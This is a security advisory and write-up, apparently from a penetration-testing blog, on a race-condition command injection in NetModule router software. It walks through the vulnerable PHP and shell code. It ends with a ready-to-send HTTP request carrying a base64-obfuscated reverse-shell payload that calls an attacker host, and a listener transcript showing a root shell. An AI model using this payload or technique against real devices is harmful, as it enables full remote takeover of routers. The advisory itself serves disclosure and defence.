Introduction
NetModule Router Software (NRSW) is a Linux-based software solution developed by NetModule for managing data connections across various devices. It applies to a various devices, including stationary and mobile routers, gateways, and IoT devices. NRSW provides consistent configuration processes and functions across all NetModule devices. It includes security features and supports over-the-air updates. NetModule also provides free updates and support for NRSW, contributing to its overall functionality and efficiency in network operations.
Advisory Informations
Remotely Exploitable: Yes
Authentication Required: Yes
Vendor URL: www.netmodule.com
CVSSv3.1 Score: AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (8.4)
Date of found: 14.07.2023
Affected Vendor & Products: NetModule NB1601, NB1800, NB1810, NB2800, NB2810, NB3701, NB3800, NB800, NG800
Vulnerable version: < 4.6.0.105, < 4.7.0.103
Technical Details
The technical articles we publish on pentest.blog are typically shaped by the emphasis we place on information sharing and our efforts to convey the ‘hacker’ perspective in addition to technical knowledge. Therefore, I aim to share all the steps I’ve followed until reaching the zero-day in this advisory. The technical details you will see below describe perhaps the vulnerability I discovered with the least effort to date.
Somehow, the NetModule Router Software and Firmware made it to my review list. I downloaded the ISO files and parsed the source code. Subsequently, I began reviewing the User Manual and other sources related to the firmware. I believe that reviewing user manuals is one of the quickest ways to reach a vulnerability. Because no matter what the product, environment, or technology is, it usually directly conveys the work done, data, and workflows.
Exploring the Project’s Insights: Analyzing Past Vulnerabilities – CVE-2023-0861
Before starting static code analysis, we usually review previously identified security vulnerabilities and the prevention taken against these issues. This will help anticipate potential challenges and restrictions. In this regard, when I reviewed the advisory blog post published by ONEKEY earlier, I came across the piece of code you will see below.
It checks whether there is a process related to the device id received from the user. If the process exists and its status is not ‘disabled’, the code block between lines 14 and 18 can be executed. In a previously identified vulnerability, it can be clearly seen that direct code execution is possible.
<?php require_once('config/config.php'); if (isset($c)) $device_id = $c; else $device_id = $_REQUEST['device_id']; $status = "disabled"; define("STATUS_FILENAME", "/tmp/status/gnss" . $device_id . "/dr-auto-align"); define("ANGLES_FILENAME", "/tmp/status/gnss" . $device_id . "/dr-auto-align-angles"); define("PID_FILENAME", "/run/gnss" . $device_id . "/dr-auto-align.pid"); if (file_exists(STATUS_FILENAME)) { $statusfile = fopen(STATUS_FILENAME, "r"); $status = fread($statusfile, filesize(STATUS_FILENAME)); fclose($statusfile); } // ... // Other code lines // ... if (isset($_POST['toggleAlignment'])) { if ($status == "disabled") { - exec("/usr/local/sbin/www-scripts/various/doAutoAlignment " . $device_id . " > /dev/null &"); + exec("/usr/local/sbin/www-scripts/various/doAutoAlignment " . escapeshellarg($device_id) . " > /dev/null &"); $status = "starting"; } else { exec("kill $(cat " . PID_FILENAME . ")"); $status = "stopping"; } } ...
Upon first glance, the prevention taken against command injection vulnerability seems reasonable. However, did anything catch your attention when you looked at the code a second time?
Race Condition: Thinking as Threads
In the code block above, despite the precautions taken, the point that draws attention is the exec("kill $(cat " . PID_FILENAME . ")");
statement on the 30th line. However, we need to check the file that stores the process state. If we can manipulate the file that contains the process state in some way, we can reach the line that allows us to kill the running process by creating a new thread when it’s not in a disabled state.
In this context, I started to examine in which states the process statuses changed in the file, and discovered the doAutoAlignment script file. doAutoAlignment performs a series of operations on the device with the parameters it gets from the application. During these operations, it checks and writes the process and status information related to the device to files.
#!/usr/bin/env ash if [ -z "$1" ]; then echo "Invalid GNSS id" exit 1 fi GNSS_ID="$1" WWANMD_ID="1$GNSS_ID" STATUS_FILE="/tmp/status/gnss$GNSS_ID/dr-auto-align" ANGLES_FILE="/tmp/status/gnss$GNSS_ID/dr-auto-align-angles" PID_FILE="/run/gnss$GNSS_ID/dr-auto-align.pid" alignment() { wwan-cmd -c dr-auto-align "$WWANMD_ID" "$1" } set_status() { echo "$1" > "$STATUS_FILE" } cleanup() { alignment stop rm -f "$STATUS_FILE" rm -f "$ANGLES_FILE" rm -f "$PID_FILE" exit } if [ -f "$PID_FILE" ]; then pid=$(cat $PID_FILE) if [ -e /proc/$pid ]; then echo "Auto alignment already running" exit 2 fi echo "Previous auto-alignment did not stop properly" rm "$PID_FILE" fi mkdir -p "$(dirname "$STATUS_FILE")" mkdir -p "$(dirname "$ANGLES_FILE")" mkdir -p "$(dirname "$PID_FILE")" trap cleanup EXIT INT TERM echo $$ > "$PID_FILE" echo "Starting auto-alignment" alignment start || exit 1 set_status "starting" status=$(alignment read) while echo "$status" | grep "^user-defined" > /dev/null; do status=$(alignment read) done
Between lines 30 and 38 of the above doAutoAlignment script, the device’s process control is carried out. If the process exists and is not faulty, a new process is created, and its state is set as “starting”. However, as seen on line 44, the trap
is used to run the cleanup
function in any EXIT
, INTERRUPT
, or TERMINATE
situation throughout the script.
At this point, the situation we need to think about is this; if we start another thread at the stage where the process is created, that is, in the starting state, before the trap
triggers the cleanup function, we skip the background status control conditionally. Bingo!
Thread 1: define device_id from payload send HTTP request to gnssAutoAlign with device_id if process_file does not exist at gnssAutoAlign: set status to "disabled" if status is "disabled" and toggleAlignment is set: send device_id to doAutoAlignment for process creation In doAutoAlignment: if process does not exist or is not erroneous: create a new process set status to "starting" on EXIT, INTERRUPT or TERMINATE signals: run cleanup function
How will a second request sent to the system behave while Thread 1 has just started? The resource we are trying to use simultaneously here is the file containing the status of the related process. If we can read the software process written on the disk with the “starting” label before it gives an error (since the alignment function will give an error for a given payload), we can meet the condition of killing the process containing the payload.
Thread 2: define device_id from payload send HTTP request to gnssAutoAlign with device_id check for existence of process file at gnssAutoAlign if process_file exists: read status from process file if toggleAlignment is set and status is "disabled": execute command "exec("kill $(cat " . PAYLOADED FILENAME . ")")"
Exploitation
Below, you see a prepared HTTP request, ready to be sent sequentially to the server, in order to exploit vulnerability.
POST /admin/gnssAutoAlign.php HTTP/1.1 Host: 192.168.56.124 User-Agent: Mozilla/5.0 (X11; %s race1 x86_64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 114 device_id=1+$(echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvOTAwMSAwPiYx|base64+-d|bash)&toggleAlignment=1337
If the exploitation is successful, a reverse shell will be obtained as shown below.
~ » ncat - lvp 9001 Ncat: Version 7.93 ( https: / /nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.56.124. Ncat: Connection from 192.168.56.124:60550. root@fenrir: /home/root /www-data# id uid=0 (root) gid=0(root) groups=0 (root)